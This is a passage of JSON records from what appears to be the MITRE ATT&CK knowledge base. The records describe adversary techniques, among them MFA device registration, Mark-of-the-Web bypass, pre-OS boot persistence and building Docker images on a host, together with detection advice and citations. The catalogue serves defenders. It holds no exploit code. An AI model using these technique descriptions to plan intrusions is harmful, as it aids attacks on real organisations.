SolarWinds","url":"https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack","description":"Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022."},{"source_name":"Microsoft - Device Registration","url":"https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa","description":"Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA. Retrieved March 4, 2022."},{"source_name":"Microsoft DEV-0537","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)","modified":"2022-04-20T16:44:02.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Device Registration","x_mitre_detection":"","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["User Account: User Account Modification","Active Directory: Active Directory Object Creation","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian","Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","created":"2017-05-31T21:30:45.139Z","x_mitre_version":"2.3","external_references":[{"source_name":"mitre-attack","external_id":"T1049","url":"https://attack.mitre.org/techniques/T1049"},{"source_name":"Amazon AWS VPC Guide","url":"https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html","description":"Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019."},{"source_name":"Microsoft Azure Virtual Network Overview","url":"https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview","description":"Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019."},{"source_name":"Google VPC Overview","url":"https://cloud.google.com/vpc/docs/vpc","description":"Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A)","modified":"2022-04-20T18:14:30.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Network Connections Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jeremy Galloway"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","created":"2020-10-01T00:36:30.759Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1584","url":"https://attack.mitre.org/techniques/T1584"},{"source_name":"FireEye DNS Hijack 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html","description":"Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020."},{"source_name":"ICANNDomainNameHijacking","url":"https://www.icann.org/groups/ssac/documents/sac-007-en","description":"ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017."},{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."},{"source_name":"Mandiant APT1","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016."},{"source_name":"Talos DNSpionage Nov 2018","url":"https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html","description":"Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."},{"source_name":"NSA NCSC Turla OilRig","url":"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf","description":"NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."},{"source_name":"FireEye EPS Awakens Part 2","url":"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html","description":"Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) \n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)","modified":"2022-04-20T14:26:33.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Compromise Infrastructure","x_mitre_detection":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Domain Name: Domain Registration","Domain Name: Passive DNS","Domain Name: Active DNS","Internet Scan: Response Content","Internet Scan: Response Metadata"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Christiaan Beek, @ChristiaanBeek"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","created":"2021-02-22T14:20:31.650Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1553.005","url":"https://attack.mitre.org/techniques/T1553/005"},{"source_name":"Beek Use of VHD Dec 2020","url":"https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316","description":"Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021."},{"source_name":"Outflank MotW 2020","url":"https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/","description":"Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021."},{"source_name":"Intezer Russian APT Dec 2020","url":"https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/","description":"Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021."},{"source_name":"Microsoft Zone.Identifier 2020","url":"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8","description":"Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021."},{"source_name":"Disable automount for ISO","url":"https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7","description":"wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)","modified":"2022-04-16T20:03:39.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Mark-of-the-Web Bypass","x_mitre_detection":"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Metadata","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Anti-virus, Application control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5","type":"attack-pattern","created":"2020-10-19T19:11:18.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1600.002","url":"https://attack.mitre.org/techniques/T1600/002"},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-21T22:37:48.503Z","name":"Disable Crypto Hardware","description":"Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","Windows","Network","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","created":"2019-11-13T14:44:49.439Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1542","url":"https://attack.mitre.org/techniques/T1542"},{"source_name":"ITWorld Hard Disk Health Dec 2014","url":"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html","description":"Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."},{"source_name":"Wikipedia Booting","url":"https://en.wikipedia.org/wiki/Booting","description":"Wikipedia. (n.d.). Booting. Retrieved November 13, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.","modified":"2022-04-19T02:50:42.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Pre-OS Boot","x_mitre_detection":"Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Driver: Driver Metadata","Process: OS API Execution","Drive: Drive Modification","Firmware: Firmware Modification","Network Traffic: Network Connection Creation","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","File monitoring"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44","type":"attack-pattern","created":"2017-05-31T21:30:51.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1064","url":"https://attack.mitre.org/techniques/T1064"},{"source_name":"Metasploit_Ref","description":"Metasploit. (n.d.). Retrieved December 4, 2014.","url":"http://www.metasploit.com"},{"url":"https://www.veil-framework.com/framework/","description":"Veil Framework. (n.d.). Retrieved December 4, 2014.","source_name":"Veil_Ref"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"url":"https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.","source_name":"Alperovitch 2014"},{"url":"https://www.uperesia.com/analyzing-malicious-office-documents","description":"Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.","source_name":"Uperesia Malicious Office Documents"}],"modified":"2020-03-30T13:39:24.852Z","name":"Scripting","description":"**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting","Data Execution Prevention","Exploit Prevention"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security","Roi Kol, @roykol1, Team Nautilus Aqua Security","Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security","Vishwas Manral, McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--800f9819-7007-4540-a520-40e655876800","type":"attack-pattern","created":"2021-03-30T17:54:03.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1612","url":"https://attack.mitre.org/techniques/T1612"},{"source_name":"Docker Build Image","url":"https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild","description":"Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021."},{"source_name":"Aqua Build Images on Hosts","url":"https://blog.aquasec.com/malicious-container-image-docker-container-host","description":"Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021."},{"source_name":"Aqua Security Cloud Native Threat Report June 2021","url":"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation","description":"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021."}],"modified":"2022-04-01T13:04:00.946Z","name":"Build Image on Host","description":"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Image: Image Creation","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User","root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db","type":"attack-pattern","created":"2017-05-31T21:30:46.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1051","url":"https://attack.mitre.org/techniques/T1051"},{"external_id":"CAPEC-563","source_name":"capec","url":"https://capec.mitre.org/data/definitions/563.html"},{"description":"Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.","source_name":"Microsoft Web Root OCT 2016"},{"url":"http://httpd.apache.org/docs/2.4/getting-started.html#content","description":"Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.","source_name":"Apache Server 2018"},{"url":"https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/","description":"Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.","source_name":"Webroot PHP 2011"}],"modified":"2020-03-30T13:56:55.356Z","name":"Shared Webroot","description":"**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_system_requirements":["Shared webroot directory on remote system"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","type":"attack-pattern","created":"2020-01-14T01:27:31.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.002","url":"https://attack.mitre.org/techniques/T1055/002"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:21:11.178Z","name":"Portable Executable Injection","description":"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the 